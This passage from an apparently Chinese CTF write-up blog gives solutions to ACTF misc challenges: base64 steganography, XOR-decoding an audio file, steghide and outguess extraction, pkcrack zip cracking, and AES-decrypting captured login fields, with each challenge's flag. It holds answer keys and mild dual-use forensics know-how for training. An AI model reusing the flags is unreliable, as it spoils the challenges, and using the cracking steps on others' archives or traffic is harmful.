19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
STJsdVkyeDFaR1U4YVc5emRISmxZVzArQ2c9PQ1=
STJsdVkyeDFaR1U4YzNSeWFXNW5QZ289DQ==
STJsdVkyeDFaR1U4WTNOMGNtbHVaejRLDV==
STJsdVkyeDFaR1U4WTNOMFpHbHZQZ289DQ==
STJSbFptbHVaU0J0WVhodUlEazVPUW89Dd==
Q2c9PQ1=
ZFhOcGJtY2dibUZ1WlhOd1lXTmxJSE4wWkRzSw1=
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/'
with open('test.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=', '')[-1]) - b64chars.index(rowb64.replace('=', '')[-1]))
equalnum = stegb64.count('=') # no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) # 8 位一组

Flag:

1
ACTF{6aseb4_f33!}

Frequency

Description:

简单的word题,确信。

格式为:actf{xxxxxx}
点击这里,开始你的比赛!


Solution:

解压出文件,备注里看到第一截密文

1
0ZWZtemNxaWRvZmd0ZnFnYmFkaWNubWhvdGlvbm9iZnlubGdvenRkYXZ2aW14b2JvdGlra2Z4d2lyb3JwZmNjdXpob3BoZmRjaWVrY2p5b21lamtjZ2Zmam51bmhvcGFkdGZndG1sdA==

Ubuntu 自带的 LibreOffice 软件的 Writter 里面的显示隐藏文字是没有用的,要 Microsoft Office Word 显示隐藏文字才行

之后把隐藏文字格式刷后才能复制,之后把备注的文字加到这段隐藏文字后面

base64 解码后又得到一堆文字,使用字频分析得到这段字符串actfplokmijnuhbygvrdxeszwq{}

中间部分填到大括号里就是 flag 了


Flag:

1
actf{plokmijnuhbygvrdxeszwq}

Music for free

Description:

zzw喜欢听音乐,可是他不是VIP,也不想花钱下载音乐,可是你却在无意中发现了他拥有大量的音乐资源。想想他是怎么做到的?
格式为:actf{xxxxxx},flag均是小写
点击这里,开始你的比赛!


Solution:

拿到文件,用 WinHex 查看发现他文件头是错误的,加了也没用

之后看到文件里面都是 0xA1,考虑可能是异或加密了,于是写脚本解密

exp如下:

1
2
3
4
5
6
7
8
with open(r'vip.m4a', 'rb') as rl:
rl = list(rl.read())
for i in range(0, len(rl)):
rl[i] = chr(ord(rl[i]) ^ 0xa1)

rl = ''.join(rl)
with open(r'out.m4a', 'wb') as wl:
wl.write(rl)

之后 flag 是听声音来填写的


Flag:

1
actf{abcdfghijk}

SWP

Description:

简单的流量题。
格式为:actf{xxxxxx},flag均是小写
点击这里,开始你的比赛!


Solution:

查看 wireshark 导出 HTTP 对象列表,导出secret.zip

后面有一个 html 提示这个压缩包没有密码,于是用无视伪加密的 7z 解压文件

之后利用 string 命令搜一下 flag 程序的字符串就能找到 flag


Flag:

1
actf{c5558bcf-26da-4f8b-b181-b61f3850b9e5}

真正的签到题!

Description:

真 签到 请享用
点击这里,开始你的比赛!


Solution:

调查问卷


Flag:

1
ACTF{Captur3_f1ag_i5_fun_XDDD}

猫咪

Description:

好可爱的小猫咪!
点击这里,开始你的比赛!


Solution:

下载的 zip 文件是个伪加密,于是用 7z 提取文件

exiftool mmm.jpg查看图像文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ExifTool Version Number         : 10.10
File Name : mmm.jpg
Directory : .
File Size : 23 kB
File Modification Date/Time : 2020:01:14 20:17:52+08:00
File Access Date/Time : 2020:02:04 16:17:58+08:00
File Inode Change Date/Time : 2020:02:04 16:17:58+08:00
File Permissions : rw-------
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 96
Y Resolution : 96
Exif Byte Order : Big-endian (Motorola, MM)
XP Comment : 公正民主公正文明公正和谐
Padding : (Binary data 2060 bytes, use -b option to extract)
Image Width : 350
Image Height : 328
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 350x328
Megapixels : 0.115

公正民主公正文明公正和谐进行核心价值观解码得到abc

输入outguess -k abc -r mmm.jpg 1.txt即可得到 flag


Flag:

1
ACTF{gue33_Gu3Ss!2020}

荧光

Description:

某犯罪分子遗留大量文件,找找这里面的信息吧
点击这里,开始你的比赛!


Solution:

先查找有关 flag 的内容:findstr.exe /s flag *

找到有关信息在 293.txt 里,后来发现也没嘛东西就直接 ntfs 扫描了

就出来了


Flag:

1
ACTF{AAAds_nntfs_ffunn?}

双子

Description:

双胞胎会不会有心灵感应?
点击这里,开始你的比赛!


Solution:

解压出一个压缩包和一个图片,压缩包是真加密所以先看图片

拖到 WinHex 里面可以发现最后有这么一段十六进制32 32 03 04 14 00 00 00

可知这后面是个压缩包,改成50 4b 03 04后,分离出压缩包

之后用 ARCHPR 或者 pkcrack 来分解,pkcrack 命令如下:

1
./pkcrack -C res.zip -c flag.txt -p flag.txt -P woo.zip -d ok.zip

Flag:

1
ACTF{3te9_nbb_ahh8}

Web

Description:

假装自己是一个web题目。

做完这题以后请正确加密。

格式为:afctf{xxxxxx}

点击这里,开始你的比赛!


Solution:

流量分析题,里面有个文件写了加密方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const key = CryptoJS.enc.Utf8.parse("1234123412ABCDEF");
const iv = CryptoJS.enc.Utf8.parse('ABCDEF1234123412');

function checkform_login() {
if ($("#username").val() == "") {
$("#username").focus();
alert("请输入您的账号!")
return false

} else if ($("#password").val() == "") {
$("#password").focus();
alert("请输入您的密码!")
return false

} else {

$("#u_dlcode").val(Encrypt($("#username").val()))
$("#p_dlcode").val(Encrypt($("#password").val()))

$("#form_login_true").submit();
return true
}
}



//加密方法
function Encrypt(word) {
let srcs = CryptoJS.enc.Utf8.parse(word);
let encrypted = CryptoJS.AES.encrypt(srcs, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.ciphertext.toString().toUpperCase();
}

密文也有,如下:

1
2
u_dlcode=F6889AA527EA40FB0A2AECC5A28A694E
p_dlcode=0D2FD588668054DA021349541E5CB64F55979D02E41C75E0CE0233F6D10E31251B40CB8E197404F9E261FBA573E09191

AES 解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex


def add_to_16(text):
if len(text.encode('utf-8')) % 16:
add = 16 - (len(text.encode('utf-8')) % 16)
else:
add = 0
text = text + ('\0' * add)
return text.encode('utf-8')


def encrypt(text, key, iv):
mode = AES.MODE_CBC
text = add_to_16(text)
cryptos = AES.new(key.encode('utf-8'), mode, bytes(iv))
cipher_text = cryptos.encrypt(text)
return b2a_hex(cipher_text)


def decrypt(text, key, iv):
mode = AES.MODE_CBC
cryptos = AES.new(key.encode('utf-8'), mode, bytes(iv))
plain_text = cryptos.decrypt(a2b_hex(text))
return bytes.decode(plain_text).rstrip('\0')


# e = encrypt("hello world")
# print e
d = decrypt("F6889AA527EA40FB0A2AECC5A28A694E", '1234123412ABCDEF', 'ABCDEF1234123412')
print d
d = decrypt("0D2FD588668054DA021349541E5CB64F55979D02E41C75E0CE0233F6D10E31251B40CB8E197404F9E261FBA573E09191", '1234123412ABCDEF', 'ABCDEF1234123412')
print d

Flag:

1
afctf{18037701-d112-4c1f-b413-0dcbff94c500}

侏罗纪

Description:

FLAG格式:flag{xxxxxxxxxxxxxxxx}
点击这里,开始你的比赛!


Solution:

解压出一个文件O_O和一个文件夹hinthint文件夹里包含有两个文件:hh.jpgpwd.txt

pwd.txt文件是 AAencode 加密,解密后明文为welcom3!

利用 steghide 来提取文件steghide extract -sf hh.jpg

得到文件secret.txt,内容如下:

1
2
3
想要flag吗?解出我的密文吧~

U2FsdGVkX1/7KeHVl5984OsGUVSanPfPednHpK9lKvp0kdrxO4Tj/Q==

base64 后发现前面是Salted__后面是乱码,猜测这个应该是 DES 加密一类

查看图片备注可以发现密钥为@#$%^&%%$),经过 des 解密后得到字符串think about stegosaurus

O_O文件看内容有 py,猜测是 pyc 文件,所以使用 stegosaurus 进行解密,使用命令:

1
python3 -m stegosaurus ./workspace/123.pyc -x

Flag:

1
flag{3teg0Sauru3_!1}
文章目录
  1. 1. Pwn
    1. 1.1. simple_rop
      1. 1.1.1. Description:
      2. 1.1.2. Solution:
      3. 1.1.3. Flag:
    2. 1.2. shellcode
      1. 1.2.1. Description:
      2. 1.2.2. Solution:
      3. 1.2.3. Flag:
    3. 1.3. fmt32
      1. 1.3.1. Description:
      2. 1.3.2. Solution:
      3. 1.3.3. Flag:
    4. 1.4. chk_rop
      1. 1.4.1. Description:
      2. 1.4.2. Solution:
      3. 1.4.3. Flag:
    5. 1.5. Complaint
      1. 1.5.1. Description:
      2. 1.5.2. Solution:
      3. 1.5.3. Flag:
    6. 1.6. fmt64
      1. 1.6.1. Description:
      2. 1.6.2. Solution:
      3. 1.6.3. Flag:
    7. 1.7. SCP_Foundation_Secret
      1. 1.7.1. Description:
      2. 1.7.2. Solution:
      3. 1.7.3. Flag:
    8. 1.8. SCP_Foundation_Attack
      1. 1.8.1. Description:
      2. 1.8.2. Solution:
      3. 1.8.3. Flag:
  2. 2. Reverse
    1. 2.1. Here_you_are
      1. 2.1.1. Description:
      2. 2.1.2. Solution:
      3. 2.1.3. Flag:
    2. 2.2. rome
      1. 2.2.1. Description:
      2. 2.2.2. Solution:
      3. 2.2.3. Flag:
    3. 2.3. game
      1. 2.3.1. Description:
      2. 2.3.2. Solution:
      3. 2.3.3. Flag:
    4. 2.4. usualCrypt
      1. 2.4.1. Description:
      2. 2.4.2. Solution:
      3. 2.4.3. Flag:
    5. 2.5. Oruga(未解出)
      1. 2.5.1. Description:
      2. 2.5.2. Solution:
      3. 2.5.3. Flag:
    6. 2.6. easyre
      1. 2.6.1. Description:
      2. 2.6.2. Solution:
      3. 2.6.3. Flag:
    7. 2.7. SoulLike
      1. 2.7.1. Description:
      2. 2.7.2. Solution:
      3. 2.7.3. Flag:
    8. 2.8. Splendid_MineCraft
      1. 2.8.1. Description:
      2. 2.8.2. Solution:
      3. 2.8.3. Flag:
    9. 2.9. ding(未解出)
      1. 2.9.1. Description:
      2. 2.9.2. Solution:
      3. 2.9.3. Flag:
    10. 2.10. Universe_final_answer
      1. 2.10.1. Description:
      2. 2.10.2. Solution:
      3. 2.10.3. Flag:
    11. 2.11. fungame(未解出)
      1. 2.11.1. Description:
      2. 2.11.2. Solution:
      3. 2.11.3. Flag:
    12. 2.12. tea(未解出)
      1. 2.12.1. Description:
      2. 2.12.2. Solution:
      3. 2.12.3. Flag:
  3. 3. Web
    1. 3.1. universal_sql
      1. 3.1.1. Description:
      2. 3.1.2. Solution:
      3. 3.1.3. Flag:
    2. 3.2. 茶颜悦色
      1. 3.2.1. Description:
      2. 3.2.2. Solution:
      3. 3.2.3. Flag:
    3. 3.3. babysql
      1. 3.3.1. Description:
      2. 3.3.2. Solution:
      3. 3.3.3. Flag:
    4. 3.4. whats git
      1. 3.4.1. Description:
      2. 3.4.2. Solution:
      3. 3.4.3. Flag:
    5. 3.5. backup_file
      1. 3.5.1. Description:
      2. 3.5.2. Solution:
      3. 3.5.3. Flag:
    6. 3.6. easy_file_include
      1. 3.6.1. Description:
      2. 3.6.2. Solution:
      3. 3.6.3. Flag:
    7. 3.7. easyHTTP
      1. 3.7.1. Description:
      2. 3.7.2. Solution:
      3. 3.7.3. Flag:
    8. 3.8. easyphp
      1. 3.8.1. Description:
      2. 3.8.2. Solution:
      3. 3.8.3. Flag:
    9. 3.9. 幸运数字
      1. 3.9.1. Description:
      2. 3.9.2. Solution:
      3. 3.9.3. Flag:
    10. 3.10. easy_web
      1. 3.10.1. Description:
      2. 3.10.2. Solution:
      3. 3.10.3. Flag:
    11. 3.11. simlple_exec
      1. 3.11.1. Description:
      2. 3.11.2. Solution:
      3. 3.11.3. Flag:
    12. 3.12. easy_upload
      1. 3.12.1. Description:
      2. 3.12.2. Solution:
      3. 3.12.3. Flag:
  4. 4. Crypto
    1. 4.1. classic0
      1. 4.1.1. Description:
      2. 4.1.2. Solution:
      3. 4.1.3. Flag:
    2. 4.2. classic1
      1. 4.2.1. Description:
      2. 4.2.2. Solution:
      3. 4.2.3. Flag:
    3. 4.3. des_mailbox
      1. 4.3.1. Description:
      2. 4.3.2. Solution:
      3. 4.3.3. Flag:
    4. 4.4. rsa0
      1. 4.4.1. Description:
      2. 4.4.2. Solution:
      3. 4.4.3. Flag:
    5. 4.5. rsa3
      1. 4.5.1. Description:
      2. 4.5.2. Solution:
      3. 4.5.3. Flag:
    6. 4.6. baby aes
      1. 4.6.1. Description:
      2. 4.6.2. Solution:
      3. 4.6.3. Flag:
    7. 4.7. TinySPN(未解出)
      1. 4.7.1. Description:
      2. 4.7.2. Solution:
      3. 4.7.3. Flag:
  5. 5. Misc
    1. 5.1. 签到
      1. 5.1.1. Description:
      2. 5.1.2. Solution:
      3. 5.1.3. Flag:
    2. 5.2. 白给
      1. 5.2.1. Description:
      2. 5.2.2. Solution:
      3. 5.2.3. Flag:
    3. 5.3. Frequency
      1. 5.3.1. Description:
      2. 5.3.2. Solution:
      3. 5.3.3. Flag:
    4. 5.4. Music for free
      1. 5.4.1. Description:
      2. 5.4.2. Solution:
      3. 5.4.3. Flag:
    5. 5.5. SWP
      1. 5.5.1. Description:
      2. 5.5.2. Solution:
      3. 5.5.3. Flag:
    6. 5.6. 真正的签到题!
      1. 5.6.1. Description:
      2. 5.6.2. Solution:
      3. 5.6.3. Flag:
    7. 5.7. 猫咪
      1. 5.7.1. Description:
      2. 5.7.2. Solution:
      3. 5.7.3. Flag:
    8. 5.8. 荧光
      1. 5.8.1. Description:
      2. 5.8.2. Solution:
      3. 5.8.3. Flag:
    9. 5.9. 双子
      1. 5.9.1. Description:
      2. 5.9.2. Solution:
      3. 5.9.3. Flag:
    10. 5.10. Web
      1. 5.10.1. Description:
      2. 5.10.2. Solution:
      3. 5.10.3. Flag:
    11. 5.11. 侏罗纪
      1. 5.11.1. Description:
      2. 5.11.2. Solution:
      3. 5.11.3. Flag:
|